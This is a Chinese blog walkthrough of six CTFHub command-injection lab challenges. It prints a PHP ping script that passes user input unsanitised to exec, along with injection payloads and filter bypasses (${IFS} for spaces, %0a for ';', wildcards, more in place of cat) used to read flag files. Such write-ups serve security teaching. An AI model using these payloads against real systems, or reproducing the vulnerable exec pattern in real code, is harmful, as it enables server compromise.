前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >RCE命令注入

RCE命令注入

作者头像
Andromeda
发布2023-10-21 11:22:43
2810
发布2023-10-21 11:22:43
举报
文章被收录于专栏:Andromeda的专栏Andromeda的专栏

CTFHub上的六道命令注入的例题

无过滤

看看题先,ping一个IP地址。

源码

代码语言:javascript
复制
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

根据第六行代码,这里直接拼接命令行就可以。猜测flag可能在10240263218889.php文件中。再次拼接命令行,cat一下。

但是没有显示,这里可能有特殊字符无法回显,所先用base64编码再输出看看。

回显正常,将其base64解码即可拿到flag。

过滤cat

第一步还是一样,拼接命令行语句看看根目录。

但是因为这道题过滤了cat命令,所以这一步不能直接用cat读取flag_845521865998.php文件了。除了cat命令。more命令也可以读取文件。二者的区别在于,cat命令一次性将全部内容显示在屏幕上,在读取超长文件时cat显得毫无用处,因此Linux提供more命令一行一行地显示文章内容。

使用more命令,然后进行base64解码,即可得到flag。

过滤空格

前面的步骤还是一样,这里的重点在于如何绕过空格。

Linux中绕过空格的几种方式

代码语言:javascript
复制
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

最后得到base64编码的flag,拿去解码即可。

过滤目录分隔符

这题绕过了目录分隔符/。

发现flag文件在flag_is_here目录下。

直接用cat flag_is_here/flag_3238793723392.php肯定是不行的。怎么绕过呢?

先cd进入该目录,然后catflag文件。

127.0.0.1;cd flag_is_here;cat flag_3238793723392.php | base64

然后拿去解码即可。

过滤运算符

过滤了|、&这些运算符。

第一步127.0.0.1;ls,第二步127.0.0.1;cat flag_3076413904999.php。查看源码,发现flag在注释里面。原来之前不用base64编码也是可以的,输出变成了注释所以没法正常回显。

综合过滤练习

组合拳

过滤了 ; 符号,翻看URL编码,%0a可以实现换行,用%0a代替 ; 符号。

过滤了空格和flag,所以用${IFS}代替空格。

在没有定义的情况下,*在bash中命令执行为空。所以可以吧flag拼接成fl*ag。

又因为过滤了cat,所以我们用more读取。最后payload为

?ip=127.0.0.1%0Acd{IFS}fl*ag_is_here%0Amore{IFS}fl*ag_309191927732.php#

得到flag。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 无过滤
  • 过滤cat
  • 过滤空格
  • 过滤目录分隔符
  • 过滤运算符
  • 综合过滤练习
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档